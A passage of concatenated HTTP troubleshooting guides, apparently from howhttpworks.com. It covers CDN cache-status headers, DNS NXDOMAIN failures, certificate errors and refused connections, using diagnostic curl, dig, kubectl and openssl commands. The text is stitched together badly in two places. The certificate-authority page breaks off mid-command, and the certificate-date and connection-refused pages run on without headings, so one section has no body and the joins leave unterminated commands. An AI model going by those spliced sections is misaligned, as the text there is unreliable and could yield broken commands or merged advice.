shorter than the header, or perfectly regular, means the code is ignoring `Retry-After` or has no jitter. If you operate the API and want to produce a correct 429 yourself, return `Retry-After` and a body that names the limit, and log the key that triggered it so clients can tell their own throttling from a shared one. ## Related - [429 Too Many Requests](https://howhttpworks.com/status-codes/429) covers the status itself and how servers implement rate limiting. - [Retry-After](https://howhttpworks.com/headers/retry-after) documents both value forms and its use with 503 and 3xx. - [X-RateLimit headers](https://howhttpworks.com/headers/x-ratelimit) describes the legacy trio and how to read it. - [503 Service Unavailable](https://howhttpworks.com/status-codes/503) is the server-wide counterpart and also supports `Retry-After`. --- # CDN Not Caching: cf-cache-status DYNAMIC, BYPASS, MISS > CDN not caching? Read cf-cache-status DYNAMIC, BYPASS, MISS or X-Cache: Miss from cloudfront, then fix Set-Cookie, Cache-Control, Vary and cache keys. Source: https://howhttpworks.com/debug/cdn-not-caching Last reviewed: 2026-10-04 Error messages this page covers: - `cf-cache-status: DYNAMIC` - `cf-cache-status: BYPASS` - `cf-cache-status: MISS` - `X-Cache: Miss from cloudfront` - `X-Cache: RefreshHit from cloudfront` > **TL;DR:** Request the URL twice with `curl -sI` and read the cache status. On Cloudflare, `DYNAMIC` means it never tried (HTML and JSON are not cached by default; add a Cache Rule), `BYPASS` means your origin response forbade it (`Set-Cookie`, `Cache-Control: private`/`no-store`, an `Authorization` request, `Vary: *`), and repeated `MISS` means the cache key changes on every request (query strings) or requests land in different data centers. On CloudFront, check `X-Cache` and the cache policy's TTLs and key. ## What it means Every CDN labels each response with its cache decision. That label is the starting point; the fix depends entirely on which one you see. Cloudflare's `cf-cache-status` values, per its [cache responses](https://developers.cloudflare.com/cache/concepts/cache-responses/) reference: | Value | Meaning | Cached? | | --- | --- | --- | | `HIT` | Served from Cloudflare's cache. | Yes | | `MISS` | Eligible for cache, not in this data center's cache yet, fetched from origin. | Will be | | `EXPIRED` | Found in cache but expired; fetched from origin again. | Yes | | `REVALIDATED` | Expired copy confirmed unchanged by the origin via `If-None-Match`/`If-Modified-Since`, then served from cache. | Yes | | `UPDATING` | Expired copy served while Cloudflare refreshes it in the background (`stale-while-revalidate`). | Yes | | `STALE` | Expired copy served because the origin could not be reached. | Yes | | `BYPASS` | Eligible at request time, but the origin response was not cacheable. | No | | `DYNAMIC` | Not eligible for cache at request time; no cache lookup was made. | No | | `NONE/UNKNOWN` | Generated at the edge before the cache: a Worker response, a WAF block, a redirect rule or Always Use HTTPS. | No | Since May 2026 Cloudflare labels every response it refuses to cache as `BYPASS`. Before that, some uncacheable responses, such as files over the plan's cacheable size limit, showed `MISS` on every request, so older forum answers that read endless `MISS` as "never cached" may describe what is now `BYPASS`. CloudFront reports its decision in `X-Cache`. The values match the result types in its access logs: | `X-Cache` | Meaning | | --- | --- | | `Hit from cloudfront` | Served from the edge cache; the origin was not contacted. | | `RefreshHit from cloudfront` | Cached copy had expired; CloudFront revalidated it with the origin and served it from cache. | | `Miss from cloudfront` | Not in this edge cache; the full response came from the origin. | | `Error from cloudfront` | CloudFront or the origin returned an error (for example a 502 when the origin's TLS certificate does not match). | Fastly also sends `X-Cache`, simplified to `HIT` or `MISS`. A request Fastly passes to origin without caching is reported as `MISS`, so `MISS` alone cannot distinguish "not cached yet" from "never cacheable". With shielding enabled the header can hold one entry per Fastly server (`MISS, HIT`); per Fastly's documentation, any entry other than `MISS` means the request was answered from cache. ## Who sent it? Before blaming the CDN, make sure the response came through it. `cf-ray` (the last three characters are the data center code) and `Server: cloudflare` mean Cloudflare; `Via: 1.1 ... (CloudFront)`, `X-Amz-Cf-Pop` and `X-Amz-Cf-Id` mean CloudFront; `X-Served-By` and `X-Cache` together usually mean Fastly. No CDN headers at all means you are hitting the origin directly, perhaps through a DNS-only (grey-clouded) record or a hosts-file entry. A `HIT` in the browser that disagrees with `curl` is often the browser's own cache: DevTools shows `(disk cache)` or `(memory cache)` in the Size column, and the request never reached the CDN. Test with `curl` or with "Disable cache" ticked. ## Diagnose with curl Send the same request twice and compare. `curl -I` sends `HEAD`; Cloudflare converts `HEAD` to `GET` for cacheable requests, so it fills the cache like a browser would. Use the `GET` form if you want to be sure you are testing exactly what browsers do. ```bash URL=https://example.com/pricing for i in 1 2; do curl -sI "$URL" | grep -iE '^(cf-cache-status|x-cache|age|cache-control|cdn-cache-control|set-cookie|vary|cf-ray|x-amz-cf-pop)' echo --- sleep 2 done # GET instead of HEAD, headers only curl -s -o /dev/null -D - "$URL" ``` A healthy result looks like this. The first request fills the cache, the second is a `HIT`, and `Age` grows: ```http cf-cache-status: MISS cache-control: public, max-age=60, s-maxage=3600 cf-ray: 8c1f2a3b4d5e6f70-AMS --- cf-cache-status: HIT age: 2 cache-control: public, max-age=60, s-maxage=3600 cf-ray: 8c1f2a3b4d5e6f71-AMS ``` What the second response tells you: - `HIT` with growing `Age`: caching works. If users still report slowness, look at which URLs they request (query strings, see below). - `DYNAMIC` on both: Cloudflare is not even trying. Go to [HTML and JSON are not cached by default](#html-and-json-are-not-cached-by-default). - `BYPASS` on both: read the `Set-Cookie`, `Cache-Control` and `Vary` lines you just printed; one of them is the reason. - `MISS` on both with the same `cf-ray` suffix: the response is cacheable but not being kept, usually because of a very short TTL, `no-cache`/`max-age=0` revalidation, or eviction of a rarely requested object. - `MISS` with different suffixes: you reached two data centers; each has its own cache. Repeat a few more times. ## Fix it, in order of likelihood ### HTML and JSON are not cached by default Cloudflare decides cache eligibility by file extension, not by `Content-Type`, and its default list covers static files (`css`, `js`, images, fonts, archives, `pdf` and so on) but not HTML or JSON. A page at `/pricing` or an API at `/api/products` gets `DYNAMIC` regardless of your `Cache-Control` header. To cache it, create a Cache Rule matching those paths with **Eligible for cache**. Development Mode, and any rule with **Bypass cache**, also produce `DYNAMIC`. Before you do, make sure the pages are the same for every visitor. A cached HTML page with a logged-in user's name in it will be served to everyone. CloudFront has no extension list: every behavior has a cache policy. The managed `CachingOptimized` policy caches for a default of 24 hours when the origin sends no caching headers, and `CachingDisabled` caches nothing, so check which policy is attached to the path's behavior. ### The response sets a cookie A `Set-Cookie` on the response is the most common reason for `BYPASS`. On Free, Pro and Business plans, where Cloudflare's Origin Cache Control is on, the response is not cached and the cookie is passed through. Frameworks often add a session cookie to every response, including pages that do not need one, so look for it on the exact URL you are testing. Fixes, from cleanest to bluntest: 1. Stop setting cookies on cacheable pages. Set the session cookie only on login and on pages that really use it. 2. Have the origin send `Cache-Control: private="Set-Cookie"` (or `no-cache="Set-Cookie"`), which Cloudflare treats as "cache the response but drop that header". 3. Remove `Set-Cookie` with a response header Transform Rule, or set an explicit Edge TTL in a Cache Rule ("Ignore cache-control header and use this TTL"), which makes Cloudflare strip the cookie and cache. CloudFront behaves differently and more dangerously. If the behavior forwards cookies to the origin, CloudFront caches the `Set-Cookie` header along with the object and sends it to every viewer who gets that cached copy. If it does not forward cookies, CloudFront strips `Set-Cookie` from responses. Either way, a page that hands out sessions must not be cached on a shared key. ### Cache-Control says private, no-store or max-age=0 `private` and `no-store` forbid shared caches from storing the response (RFC 9111 Sections 5.2.2.7 and 5.2.2.5), and every CDN honors them by default. `no-cache`, `max-age=0` and `s-maxage=0` are subtler on Cloudflare: | Origin sends | Cloudflare with Origin Cache Control on (Free, Pro, Business default) | Cloudflare with it off (Enterprise default) | | --- | --- | --- | | `no-store` or `private` | Not cached, `BYPASS` | Not cached, `BYPASS` | | `no-cache`, `max-age=0`, `s-maxage=0` | Cached but revalidated on every request: `MISS`, then `REVALIDATED` or `EXPIRED` | Not cached, `BYPASS` | So `REVALIDATED` on every request is not a bug: the origin asked for it. See [no-cache vs no-store](https://howhttpworks.com/compare/no-cache-vs-no-store) for the difference. CloudFront honors `no-store`, `no-cache` and `private` only when the behavior's minimum TTL is 0. If the minimum TTL is above 0, AWS documents that CloudFront uses that minimum TTL even when the origin sends `no-store`, `no-cache` or `private`. The managed `CachingOptimized` policy has a minimum TTL of 1 second, so "no-store" content can still be served from cache for a second; use `UseOriginCacheControlHeaders` (minimum TTL 0) or a custom policy if the origin must have the final word. ### max-age=0 for browsers killed the CDN copy too A common pattern is wanting browsers to always recheck HTML while the CDN holds it. `max-age=0` alone tells every cache, shared or not, that the response is immediately stale. Give shared caches their own lifetime with `s-maxage`, which browsers ignore: ```http Cache-Control: public, max-age=0, s-maxage=600 ``` On Cloudflare you can also send `CDN-Cache-Control` (or `Cloudflare-CDN-Cache-Control`, which Cloudflare does not forward to the browser). These take precedence over `Cache-Control` at the edge, so a stray `CDN-Cache-Control: no-store` produces `BYPASS` even when `Cache-Control` looks fine. One Cloudflare-specific gotcha: `s-maxage` implies `proxy-revalidate`, which disables `stale-while-revalidate` there; Cloudflare's revalidation docs list the workarounds. Build and check a header with the [cache header builder](https://howhttpworks.com/tools/cache-builder). ### The request carries Authorization A shared cache must not reuse a response to a request with an `Authorization` header unless the response says `public`, `s-maxage` or `must-revalidate` (RFC 9111 Section 3.5). Cloudflare applies this rule when Origin Cache Control is on and returns `BYPASS`. If an API really serves the same data to every authenticated client, mark it explicitly: ```http Cache-Control: public, s-maxage=300 ``` Do this only when the response does not depend on who is asking. Otherwise the first caller's data is served to the next. ### Vary on User-Agent or Cookie `Vary` lists request headers that select between stored variants (RFC 9111 Section 4.1). `Vary: User-Agent` multiplies entries by every distinct browser string; `Vary: Cookie` makes nearly every visitor a separate entry. Caches that honor `Vary` as specified, such as nginx `proxy_cache` (which also refuses to cache `Vary: *` and `Set-Cookie` responses) and browsers, rarely get a hit after that. The big CDNs treat it differently. Cloudflare ignores `Vary` by default except for `Accept-Encoding`, Vary for Images, and the Cache Rules Vary setting, but `Vary: *` always bypasses its cache. CloudFront builds its cache key from the cache policy, not from your `Vary`; it removes most `Vary` values from responses to viewers and, with a minimum TTL of 0, forwards every request for a `Vary: *` response to the origin. If you need variants, put the specific header in the cache key on purpose and normalize it (for example, a device class rather than the raw `User-Agent`). ### Query strings fragment the cache key Cloudflare's default cache key includes the full query string, so `/pricing?utm_source=newsletter`, `/pricing?fbclid=...` and `/pricing?_=1728000000` are three separate entries, and a campaign link can turn every visit into a `MISS`. Exclude parameters the origin does not use with Cache Rules or Cache Key settings. Sorting parameters only helps when the same parameters arrive in a different order. CloudFront's `CachingOptimized` policy has the opposite default: it includes no query strings, so `/search?q=a` and `/search?q=b` share one entry. If the origin's output depends on a parameter, add it to the cache policy (or use `UseOriginCacheControlHeaders-QueryStrings`). ### Different data centers, or eviction Each Cloudflare data center and each CloudFront edge has its own cache, so the first request in each location is a `MISS`. Compare the `cf-ray` suffix or `X-Amz-Cf-Pop` across requests before concluding anything. Rarely requested objects can also be evicted before their TTL ends. Cloudflare's Tiered Cache and CloudFront's Origin Shield add an upper cache layer that keeps long-tail content warm. ## Reading the Age header `Age` is the cache's estimate, in seconds, of how long ago the response was generated or last validated at the origin (RFC 9111 Section 5.1). Two rules make it useful: - If `Age` is present and grows between requests, you are getting the same stored copy. `Age` near your `s-maxage` means the entry is about to expire. - Absence of `Age` does not prove the origin was contacted. Cloudflare sends `Age` only on `HIT`, `STALE` and `UPDATING`, and omits it on the first local `HIT` filled from an upper tier. With Tiered Cache, `Age` reflects the object's age across Cloudflare's network, so a local `HIT` can show an `Age` older than the last local fill. Watch for `Age` on `DYNAMIC` or `BYPASS` responses: Cloudflare passes an origin's own `Age` header through unchanged, so it may come from another cache behind the CDN (a Varnish or nginx `proxy_cache` in front of your app), not from the CDN. ## Reproduce and verify ```bash # Compare edge and origin headers for the same URL curl -sI https://example.com/pricing | grep -iE '^(cf-cache-status|x-cache|age|cache-control|set-cookie|vary)' curl -sI -H 'Host: example.com' http://ORIGIN_IP/pricing | grep -iE '^(cache-control|set-cookie|vary)' # Watch Age grow over 30 seconds for i in 1 2 3; do curl -sI https://example.com/pricing | grep -iE '^(cf-cache-status|x-cache|age):'; sleep 15; done ``` The origin request shows what the CDN received. If the origin sends `Set-Cookie` or `private` and the edge reports `BYPASS`, the CDN is doing what it was told. After a fix, expect `MISS` once per data center, then `HIT` with a rising `Age`. ## Related - [Cache-Control](https://howhttpworks.com/headers/cache-control) lists every directive and how shared caches read them. - [Vary](https://howhttpworks.com/headers/vary) and [Age](https://howhttpworks.com/headers/age) cover the two headers that most often confuse CDN debugging. - [X-Cache](https://howhttpworks.com/headers/x-cache) compares the cache-status headers of other CDNs and proxies. - [Headers and caching](https://howhttpworks.com/guides/headers-and-caching) explains freshness, validation and `304 Not Modified` end to end. - [no-cache vs no-store](https://howhttpworks.com/compare/no-cache-vs-no-store) settles the most common directive mix-up. --- # DNS_PROBE_FINISHED_NXDOMAIN: Find and Fix DNS Failures > Fix DNS_PROBE_FINISHED_NXDOMAIN by comparing authoritative and cached answers, then checking VPN DNS, hosts files, Docker, CoreDNS and DNSSEC. Source: https://howhttpworks.com/debug/dns-probe-finished-nxdomain Last reviewed: 2026-10-05 Error messages this page covers: - `DNS_PROBE_FINISHED_NXDOMAIN` - `ERR_NAME_NOT_RESOLVED` - `curl: (6) Could not resolve host: no-such-host.hhw.invalid` - `getaddrinfo ENOTFOUND no-such-host.hhw.invalid` - `socket.gaierror: [Errno -2] Name or service not known` - `socket.gaierror: [Errno 8] nodename nor servname provided, or not known` - `api.example.com could not be resolved (3: Host not found)` > **TL;DR:** DNS couldn't turn the hostname into an address, so the browser never reached a server. Run `dig api.example.com. A` on the failing machine, then the same query against `@1.1.1.1` and `@8.8.8.8`, and read the **status** line plus the answer and authority sections (`+short` hides them). Public DNS works but your app doesn't? Look at VPN DNS, `/etc/hosts` and Chrome Secure DNS. The authoritative server has the record but a resolver still says NXDOMAIN? That's a cached negative answer: check the SOA TTL before you touch the record again. ## What it means The client failed to resolve the hostname, so it never got as far as connecting to the HTTP server. Chromium defines [`ERR_NAME_NOT_RESOLVED`](https://github.com/chromium/chromium/blob/main/net/base/net_error_list.h) as a hostname resolution failure. `DNS_PROBE_FINISHED_NXDOMAIN` is something else: a [browser probe diagnosis](https://github.com/chromium/chromium/blob/main/components/error_page/common/net_error_info.h) that runs after the failure and concludes that DNS works but this name seems to be missing. It's Chrome's interpretation, not a capture of the original DNS reply. Here's how the same failure looks for `no-such-host.hhw.invalid` on macOS with **curl 8.7.1**, **Node 26.10.0** and **Python 3.14.8**, in that order: ```text curl: (6) Could not resolve host: no-such-host.hhw.invalid getaddrinfo ENOTFOUND no-such-host.hhw.invalid socket.gaierror: [Errno 8] nodename nor servname provided, or not known ``` On Linux with glibc, Python prints the line below instead. Unlike the captures above, it's an illustrative reconstruction, built from Python's [gaierror definition](https://docs.python.org/3/library/socket.html#socket.gaierror) and glibc's [numeric value](https://github.com/bminor/glibc/blob/master/resolv/netdb.h) and [message](https://github.com/bminor/glibc/blob/master/sysdeps/posix/gai_strerror-strs.h): ```text socket.gaierror: [Errno -2] Name or service not known ``` Node's [`ENOTFOUND`](https://nodejs.org/api/errors.html#common-system-errors) covers both `EAI_NONAME` and `EAI_NODATA`. [`dns.lookup`](https://nodejs.org/api/dns.html#dnslookuphostname-options-callback) goes through the OS resolver, and it can return this code for failures other than a missing hostname. A common one is passing a URL: hostname lookup APIs want `api.example.com`, not `https://api.example.com/path`. If nginx resolves a dynamic upstream, the failure shows up in its error log instead. The fragment below is reconstructed from nginx's [upstream formatting](https://github.com/nginx/nginx/blob/master/src/http/ngx_http_upstream.c) and [resolver error strings](https://github.com/nginx/nginx/blob/master/src/core/ngx_resolver.c): ```text api.example.com could not be resolved (3: Host not found) ``` Here nginx's own upstream lookup is failing, and the browser usually sees a [502 Bad Gateway](https://howhttpworks.com/debug/nginx-502-bad-gateway). Run your DNS checks from nginx's host or container, not your laptop. ## NXDOMAIN, SERVFAIL and no answer Swap `api.example.com` for your failing hostname everywhere below. The trailing dot makes the name absolute, so no search suffix gets appended. ```bash dig api.example.com. A dig api.example.com. AAAA nslookup api.example.com. ``` - **`status: NXDOMAIN`:** the name doesn't exist in that resolver's view of DNS. If the answer includes a CNAME, check its target too, because a CNAME can point at a name that doesn't exist. - **`status: SERVFAIL`:** the resolver gave up. A down authoritative server, a broken delegation or a DNSSEC validation failure can all cause this. It tells you resolution failed, not that the name is missing. - **`status: NOERROR` with no address:** this is NODATA. The name exists, but not with the record type you asked for, so an AAAA query can come back empty while A works. Check the authority section to tell NODATA apart from a referral. - **No response before the tool times out:** that's neither NXDOMAIN nor NODATA. Check that you can reach the configured resolver and that nothing is dropping DNS traffic. These categories come from [RFC 1035's response codes](https://www.rfc-editor.org/rfc/rfc1035#section-4.1.1) and [RFC 2308's negative-response definitions](https://www.rfc-editor.org/rfc/rfc2308#section-2). `dig +short` strips out exactly the fields you need to tell them apart. ## Fix it, in diagnostic order ### 1. A typo, missing record or broken CNAME target Start by checking the exact failing name against the zone you actually manage: ```bash dig @1.1.1.1 api.example.com. A dig @8.8.8.8 api.example.com. A dig +trace api.example.com. A # Replace ns1.example.net with a server authoritative for the zone dig @ns1.example.net api.example.com. A +norecurse ``` [`dig +trace`](https://bind9.readthedocs.io/en/latest/manpages.html) walks the delegation chain itself instead of asking a recursive resolver for the final answer. That means it needs to reach every authoritative server on the path, so on a network that blocks direct DNS queries it fails even when the zone is fine. It also doesn't validate DNSSEC. If the authoritative server says NXDOMAIN, fix the spelling or create the record in the delegated zone. If there's a CNAME, query its target. And remember that each name is its own record: creating `www.example.com` gives you nothing for `example.com` or `api.example.com`. A BIND zone-file record looks like this. The address is from the documentation range, so use your service's real one: ```text api.example.com. 300 IN A 203.0.113.10 ``` Publish the change through your DNS provider or authoritative server, then query each authoritative nameserver. If they give different answers, sort that out first. The recursive cache isn't your problem yet. ### 2. The record is new, but a resolver cached its earlier absence ```bash dig @1.1.1.1 api.example.com. A +noall +comments +answer +authority dig @ns1.example.net api.example.com. A +norecurse dig @ns1.example.net example.com. SOA +norecurse ``` Authoritative server returns the A record, recursive resolver returns NXDOMAIN with an SOA in the authority section? You're looking at a cached negative answer. Check the TTL on that SOA. [RFC 2308 Sections 3 and 5](https://www.rfc-editor.org/rfc/rfc2308#section-3) set the initial negative TTL to **the smaller of the SOA record's TTL and its MINIMUM field** (the last number in the SOA data). The TTL you see counts down while the answer sits in cache. It has nothing to do with the TTL on the A record you just created. Take this zone-file SOA as an example. The record TTL is 900 seconds and MINIMUM is 300, so resolvers cache "doesn't exist" for 300 seconds: ```text example.com. 900 IN SOA ns1.example.net. hostmaster.example.com. ( 2026100501 3600 600 604800 300 ) ``` Either wait out the remaining TTL or flush a resolver you control. On Linux with systemd-resolved: ```bash sudo resolvectl flush-caches resolvectl query api.example.com ``` That flushes [systemd-resolved's local cache](https://github.com/systemd/systemd/blob/main/man/resolvectl.xml) only. A public resolver upstream keeps its copy. Lowering the SOA values now won't shorten an answer that's already cached either, so set the negative TTL you want before you create records in future. There's no universal "DNS takes 48 hours" rule; the SOA tells you the real number. ### 3. VPN DNS, a split DNS view or a hosts override Look at the resolver configuration on the machine where the app actually fails: ```bash # Linux with systemd-resolved resolvectl status resolvectl query api.example.com # macOS: includes supplemental resolver configurations scutil --dns # OS lookup, including hosts-file handling node -e 'require("node:dns").lookup("api.example.com", {all:true}, console.log)' grep -n 'api\.example\.com' /etc/hosts ``` On macOS, [`scutil --dns`](https://github.com/apple-oss-distributions/configd/blob/main/scutil.tproj/scutil.8) shows the full DNS setup, including the supplemental resolvers a VPN adds. Then query the VPN's resolver directly by its real address and compare it with public DNS: ```bash dig @10.0.0.53 api.example.com. A dig @1.1.1.1 api.example.com. A ``` If only the VPN resolver knows the record, it's a private name. Reconnect the VPN and get its DNS routing working again; switching the machine to public DNS throws that private view away. If only the public answer works, find out which resolver the VPN picked for that domain. An [`/etc/hosts`](https://man7.org/linux/man-pages/man5/hosts.5.html) entry can make the OS lookup disagree with `dig`, because `dig` asks DNS and never reads the hosts file. Remove a stale override or fix its address. A temporary override looks like this: ```text 203.0.113.10 api.example.com ``` Point it at an address that actually answers. If the entry sends the name to a dead machine, DNS is fine but you'll hit a [connection timeout](https://howhttpworks.com/debug/err-connection-timed-out) next. ### 4. Chrome uses a different resolver path OS lookup and curl both work, but Chrome fails? Check **Settings → Privacy and security → Security → Use secure DNS**. A custom DoH provider can answer differently from your VPN or local resolver, and Google [documents that a custom provider does not fall back to unencrypted DNS](https://support.google.com/chrome/answer/10468685?hl=en&co=GENIE.Platform%3DDesktop). Switch temporarily to the system or VPN resolver and test again. If Chrome cached the failure, open `chrome://net-internals/#dns` and click **Clear host cache** (see Chromium's [DNS view code](https://github.com/chromium/chromium/blob/main/chrome/browser/resources/net_internals/dns_view.js)), then retry. This only clears Chrome's cache. It won't create a missing record or flush the upstream resolver's negative cache. ### 5. The application runs inside Docker or Kubernetes Run the lookup from inside the failing container, with whatever tools that image has: ```bash docker exec my-app cat /etc/resolv.conf docker exec my-app cat /etc/hosts docker exec my-app nslookup api.example.com. kubectl -n web exec POD_NAME -- cat /etc/resolv.conf kubectl -n web exec POD_NAME -- nslookup api.example.com. kubectl -n web exec POD_NAME -- nslookup kubernetes.default ``` Docker [uses different DNS paths depending on the network](https://docs.docker.com/engine/network/#dns-services). Containers on the default bridge get a copy of the host's resolver config. Containers on custom networks use embedded DNS at `127.0.0.11`, which forwards external lookups to the host's configured DNS servers. Either way, entries in the host's `/etc/hosts` don't carry over. If the app needs a private resolver, give the container one it can reach: ```bash docker run --dns 10.0.0.53 my-app-image ``` `--dns 127.0.0.1` won't reach the host's resolver. Inside the container, that's the container's own loopback. Kubernetes usually sets `options ndots:5`, as its [DNS debugging guide](https://kubernetes.io/docs/tasks/administer-cluster/dns-debugging-resolution/) shows. Under the [`resolv.conf` search rules](https://man7.org/linux/man-pages/man5/resolv.conf.5.html), any name with fewer than five dots gets tried with each search suffix before the absolute lookup. `api.example.com.` skips that expansion in DNS tools. So an NXDOMAIN for one of the suffixed candidates is expected noise; check whether the final absolute query failed. If search expansion is hurting external lookups, add this to the workload's Pod template. It lowers the threshold and keeps cluster DNS: ```yaml spec: dnsPolicy: ClusterFirst dnsConfig: options: - name: ndots value: "1" ``` This [Pod DNS configuration](https://kubernetes.io/docs/concepts/services-networking/dns-pod-service/#pod-dns-config) changes lookup order, so check that short service names still resolve before you roll it out. It won't help with a record that's genuinely missing. If `kubernetes.default` fails too, the problem is cluster DNS. Check the DNS service and CoreDNS before touching application settings: ```bash kubectl -n kube-system get pods -l k8s-app=kube-dns kubectl -n kube-system get service kube-dns kubectl -n kube-system get endpointslice -l kubernetes.io/service-name=kube-dns kubectl -n kube-system logs -l k8s-app=kube-dns --tail=100 kubectl -n kube-system get configmap coredns -o yaml ``` Work through the [CoreDNS debugging procedure](https://kubernetes.io/docs/tasks/administer-cluster/dns-debugging-resolution/): confirm the endpoints exist, read the forwarding config and, if you need to see queried names and response codes, temporarily add the `log` plugin inside the existing Corefile server block. If cluster names resolve but public names don't, look at CoreDNS's upstream resolver and the network path to it. ### 6. SERVFAIL comes from DNSSEC validation Query the **same validating resolver** twice, once normally and once with checking disabled: ```bash dig @1.1.1.1 api.example.com. A +dnssec dig @1.1.1.1 api.example.com. A +dnssec +cdflag dig example.com. DS +dnssec dig example.com. DNSKEY +dnssec ``` SERVFAIL normally but data with checking disabled points to a validation failure. [RFC 4035](https://www.rfc-editor.org/rfc/rfc4035#section-5.5) has a validating resolver return server failure when validation fails and CD is unset, and Cloudflare [uses this same CD comparison in its troubleshooting procedure](https://developers.cloudflare.com/dns/dnssec/troubleshooting/). The usual culprits are a stale DS at the parent after a nameserver migration, a DS that no longer matches the current DNSKEY, and expired signatures. Fix the signing setup with your DNS provider and registrar. Note that `+dnssec` only requests the DNSSEC records; plain `dig` doesn't validate the chain for you. Turning validation off for good hides the broken chain instead of fixing it. ## Related - [ERR_CONNECTION_TIMED_OUT](https://howhttpworks.com/debug/err-connection-timed-out) — the hostname resolved, but connection establishment did not finish. - [ERR_CONNECTION_REFUSED](https://howhttpworks.com/debug/err-connection-refused) — the address and port actively rejected the attempt. - [nginx 502 Bad Gateway](https://howhttpworks.com/debug/nginx-502-bad-gateway) — a proxy may be the component failing to resolve its upstream. --- # ERR_CERT_AUTHORITY_INVALID: Chain and CA Trust Fixes > Fix ERR_CERT_AUTHORITY_INVALID by inspecting missing intermediates, private CAs, TLS inspection and the CA stores actually used by curl, Node and Python. Source: https://howhttpworks.com/debug/err-cert-authority-invalid Last reviewed: 2026-10-05 Error messages this page covers: - `NET::ERR_CERT_AUTHORITY_INVALID` - `SEC_ERROR_UNKNOWN_ISSUER` - `MOZILLA_PKIX_ERROR_SELF_SIGNED_CERT` - `curl: (60) SSL certificate problem: unable to get local issuer certificate` - `curl: (60) SSL certificate problem: self-signed certificate` - `UNABLE_TO_VERIFY_LEAF_SIGNATURE` - `SELF_SIGNED_CERT_IN_CHAIN` - `DEPTH_ZERO_SELF_SIGNED_CERT` - `CERTIFICATE_VERIFY_FAILED` - `upstream SSL certificate verify error: (20:unable to get local issuer certificate)` > **TL;DR:** The client couldn't link the server's certificate to a CA it trusts. Run `openssl s_client -connect example.com:443 -servername example.com -showcerts Fix NET::ERR_CERT_DATE_INVALID by checking certificate dates, client clocks, failed renewals, stale nginx deployments and expired intermediate certificates. Source: https://howhttpworks.com/debug/err-cert-date-invalid Last reviewed: 2026-10-05 Error messages this page covers: - `NET::ERR_CERT_DATE_INVALID` - `Your connection is not private` - `SEC_ERROR_EXPIRED_CERTIFICATE` - `SEC_ERROR_EXPIRED_ISSUER_CERTIFICATE` - `SSL certificate problem: certificate has expired` - `CERT_HAS_EXPIRED` > **TL;DR:** The client thinks a certificate is outside its validity dates. Check the certificate the hostname actually serves, then compare it with the renewed file. If the file is new but the endpoint is old, fix deployment or reload nginx. If the leaf dates are fine, inspect the intermediates and the client clock. A successful renewal job does not prove users received the renewed certificate. ## What it means Chrome can show **Your connection is not private** with `NET::ERR_CERT_DATE_INVALID`. Its [error definition](https://github.com/chromium/chromium/blob/main/net/base/net_error_list.h) covers both expiry and a certificate whose validity has not started, as judged by the client clock. Certificates carry `notBefore` and `notAfter`. [RFC 5280 Section 4.1.2.5](https://www.rfc-editor.org/rfc/rfc5280#section-4.1.2.5) defines that interval; Section 6.1.3 checks validity during path validation. The error is a TLS certificate validation failure, before the client can exchange an HTTP request with that endpoint. It is not an HTTP status code. Other clients expose these exact strings: - Firefox: `SEC_ERROR_EXPIRED_CERTIFICATE` for an expired peer certificate, and `SEC_ERROR_EXPIRED_ISSUER_CERTIFICATE` for an expired issuer certificate, as defined in [Mozilla NSS](https://github.com/nss-dev/nss/blob/master/lib/util/SECerrs.h). - curl with OpenSSL: `SSL certificate problem: certificate has expired`. The [curl backend](https://github.com/curl/curl/blob/master/lib/vtls/openssl.c) combines its prefix with OpenSSL's verification error. Other TLS backends can phrase the message differently. - Node.js: [`CERT_HAS_EXPIRED`](https://nodejs.org/api/errors.html#cert_has_expired). A future `notBefore` instead maps to `CERT_NOT_YET_VALID`. ## Who sent it? The client reports the failure; the certificate comes from the TLS terminator it reached. That might be nginx, an ingress controller, a load balancer or a CDN. Start with the public hostname, not a certificate file on your origin: ```bash openssl s_client -connect example.com:443 -servername example.com Fix ERR_CONNECTION_REFUSED by checking listeners, localhost IPv4/IPv6, Docker port mappings, firewall rejection, service crashes and Kubernetes endpoints. Source: https://howhttpworks.com/debug/err-connection-refused Last reviewed: 2026-10-05 Error messages this page covers: - `ERR_CONNECTION_REFUSED` - `localhost refused to connect.` - `curl: (7) Failed to connect to localhost port 3000 after 0 ms: Couldn't connect to server` - `curl: (7) Failed to connect to localhost:3000 after 0 ms: Could not connect to server` - `connect ECONNREFUSED 127.0.0.1:3000` - `connect ECONNREFUSED ::1:3000` > **TL;DR:** The TCP connection attempt was rejected before HTTP could start. Check the exact address and port with `curl -v`, then find the listener with `ss -ltnp` or `lsof`. For localhost, test IPv4 and IPv6 separately. For Docker, check both the app's bind address inside the container and the host-to-container port mapping. A running process is not proof that the port is listening. ## What it means Chrome shows `ERR_CONNECTION_REFUSED`, with **localhost refused to connect.** when the hostname is localhost. [Chromium's error definitions](https://github.com/chromium/chromium/blob/main/net/base/net_error_list.h) distinguish a refused connection attempt from a reset connection. No HTTP response exists for the failed attempt, so changing request headers or CORS policy will not open the port. The failure can appear in other clients as well. This curl output was captured against a closed local port with **curl 8.7.1 on macOS**: ```text curl: (7) Failed to connect to localhost port 3000 after 0 ms: Couldn't connect to server ``` The wording changed. **curl 8.22.0**, the current release checked for this guide, formats the destination with a colon and uses “Could not” in its [connection failure source](https://github.com/curl/curl/blob/curl-8_22_0/lib/cf-ip-happy.c) and [error strings](https://github.com/curl/curl/blob/curl-8_22_0/lib/strerror.c). Illustrative output for the same direct connection: ```text curl: (7) Failed to connect to localhost:3000 after 0 ms: Could not connect to server ``` Elapsed milliseconds vary. Exit code **7** means curl could not connect; use verbose output to identify the underlying failure rather than treating every code 7 as a refusal. These Node messages were captured with **Node 26.10.0**, explicitly connecting to each loopback address on a closed port: ```text connect ECONNREFUSED 127.0.0.1:3000 connect ECONNREFUSED ::1:3000 ``` The address matters: `127.0.0.1` is IPv4 loopback; `::1` is IPv6 loopback. A listener on one is not a listener on the other. ## Refused, timeout and reset - **Refused:** establishment gets an active rejection. A TCP SYN answered with RST is the usual closed-port case. [RFC 9293 Section 3.10.7.1](https://www.rfc-editor.org/rfc/rfc9293#section-3.10.7.1) specifies a reset response when no connection state exists for an incoming segment. A firewall can reject the attempt too. - **Connection timeout:** establishment does not finish before the client's deadline. Silent packet drops, a missing return path or an unresponsive destination can cause this. A timeout later in an established connection is a separate diagnosis. - **Reset:** the connection is aborted with a TCP RST, potentially during TLS or while HTTP data is moving. Follow [ERR_CONNECTION_RESET](https://howhttpworks.com/debug/err-connection-reset) if the connection was established and then broken. An immediate failure is a useful clue, not a guarantee that the application itself rejected you. Identify the destination and the rejecting layer. ## Who sent it? Run these on the machine 